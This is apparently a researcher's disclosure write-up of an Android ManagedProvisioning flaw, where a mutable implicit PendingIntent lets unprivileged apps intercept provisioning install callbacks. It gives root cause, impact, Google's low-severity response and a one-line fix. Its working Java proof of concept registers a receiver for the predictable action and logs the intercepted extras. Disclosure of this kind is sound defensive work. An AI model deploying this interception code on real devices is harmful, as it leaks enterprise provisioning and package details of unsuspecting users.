I found and reported a vulnerability in Android’s ManagedProvisioning component — the system app responsible for setting up enterprise-managed (work) profiles. The bug allows any unprivileged third-party app to intercept a privileged provisioning callback, leaking install timing, session metadata, and in some cases package details — all without any special permissions.
Google acknowledged the report, logged it for potential remediation, and classified it as low severity. Here’s the full breakdown.
The Bug
InstallPackageTask in packages/apps/ManagedProvisioning creates the PackageInstaller.Session.commit() status receiver using a mutable implicit PendingIntent.
The callback intent uses a predictable action string:
com.android.managedprovisioning.task.InstallPackageTask.DONE.<sessionId>
This is passed to PendingIntent.getBroadcast(...) without setPackage() or an explicit component. On Android U+ builds, the code also adds FLAG_ALLOW_UNSAFE_IMPLICIT_INTENT, which explicitly opts out of Android’s own protection against unsafe mutable implicit PendingIntents.
Because the action includes the session ID, any app that observes the session ID can dynamically register a matching BroadcastReceiver and receive the install-status callback.
Why This Matters
The callback originates from a privileged provisioning component — the system flow that sets up enterprise work profiles, installs MDM agents, and configures managed devices. Android’s own documentation treats mutable implicit PendingIntents as unsafe and recommends making them explicit or package-scoped.
The practical impact:
- Disclosure of provisioning/install timing — an attacker can observe exactly when enterprise provisioning packages are being installed
- Session-correlated callback metadata — the intercepted broadcast carries extras tied to the install session
- Package detail leakage — for some apps (like Google Digital Wellbeing), the intercepted callback reveals package details without any permissions
- Enterprise fingerprinting — a malicious app can detect and fingerprint when an MDM solution is being deployed on the device
Proof of Concept
The exploit is straightforward. A third-party app:
- Calls
PackageInstaller.registerSessionCallback(...)to observe newly created install sessions - Extracts the session ID in real time from
onCreated(int sessionId) - Dynamically registers a
BroadcastReceiverfor the exact action string - Receives the callback broadcast when
session.commit(...)completes
PackageInstaller installer =
context.getPackageManager().getPackageInstaller();
installer.registerSessionCallback(new PackageInstaller.SessionCallback() {
@Override
public void onCreated(int sessionId) {
String action =
"com.android.managedprovisioning.task.InstallPackageTask.DONE."
+ sessionId;
BroadcastReceiver receiver = new ManagedProvisioningHijackReceiver();
IntentFilter filter = new IntentFilter(action);
context.registerReceiver(
receiver, filter, Context.RECEIVER_EXPORTED);
Log.w("PoC", "Registered receiver for action: " + action);
}
@Override public void onBadgingChanged(int sessionId) {}
@Override public void onActiveChanged(int sessionId, boolean active) {}
@Override public void onProgressChanged(int sessionId, float progress) {}
@Override public void onFinished(int sessionId, boolean success) {}
});
The receiver logs everything it intercepts:
@Override
public void onReceive(Context context, Intent intent) {
Log.w(TAG, "INTERCEPTED PROVISIONING CALLBACK BROADCAST");
Log.w(TAG, "Action: " + intent.getAction());
Bundle extras = intent.getExtras();
if (extras != null) {
for (String key : extras.keySet()) {
Log.w(TAG, key + " = " + extras.get(key));
}
}
}
No special permissions required.
Video Demo
The video shows the PoC app intercepting the provisioning callback in real time on a Pixel device. For apps like Google Digital Wellbeing, the intercepted broadcast reveals package details without any permissions on the attacker’s side.
Root Cause
The issue boils down to three compounding decisions in the code:
- Mutable PendingIntent —
FLAG_MUTABLEallows the intent to be modified - Implicit broadcast — no
setPackage(), no explicit component, so any app can register for the action - Predictable action string — the action includes the session ID, which is observable via
PackageInstaller.SessionCallback
On U+ builds, FLAG_ALLOW_UNSAFE_IMPLICIT_INTENT is added, which explicitly bypasses the platform’s own safety check. The fix is straightforward: make the callback intent explicit (set a component) or at minimum package-scoped (setPackage()).
What I Did NOT Demonstrate
To be precise about the scope:
- No arbitrary code execution
- No package replacement or privilege escalation
- No confirmed denial of service against provisioning (the success path relies on
SessionCallback.onFinished()+ACTION_PACKAGE_ADDED, not this callback alone)
The demonstrated impact is callback interception and information disclosure from a privileged provisioning flow.
Google’s Response
I reported this through the Android & Google Device Vulnerability Reward Program. The report was tracked as Issue 493654042 on Google’s Issue Tracker.
After investigation, the Android Security Team classified it as low severity and marked it as Infeasible for immediate action:
Thank you for taking the time to submit this report to the Android & Google Device Vulnerability Reward Program!
We have investigated this issue and determined that this is low severity.
We have logged this issue for potential remediation in a future version. At this time, this report is considered closed and will no longer be monitored.
— Android Security Team
The issue was logged for potential remediation in a future Android version but is not being actively tracked.
My Take
I understand the “low severity” classification — there’s no RCE, no privilege escalation, and the provisioning flow doesn’t solely depend on this callback. But I think the response undersells the issue:
- The code explicitly bypasses a platform safety mechanism (
FLAG_ALLOW_UNSAFE_IMPLICIT_INTENT) that exists specifically to prevent this class of bug - Enterprise provisioning metadata shouldn’t be observable by unprivileged apps
- The fix is trivial: one line —
intent.setPackage(context.getPackageName())
Sometimes the value of security research isn’t in the severity score but in showing that even Google’s own platform code doesn’t always follow Google’s own security guidance.
Tested on: google/husky_beta/husky:CinnamonBun/CP21.260206.011/14911669:user/release-keys
Source: packages/apps/ManagedProvisioning — InstallPackageTask.java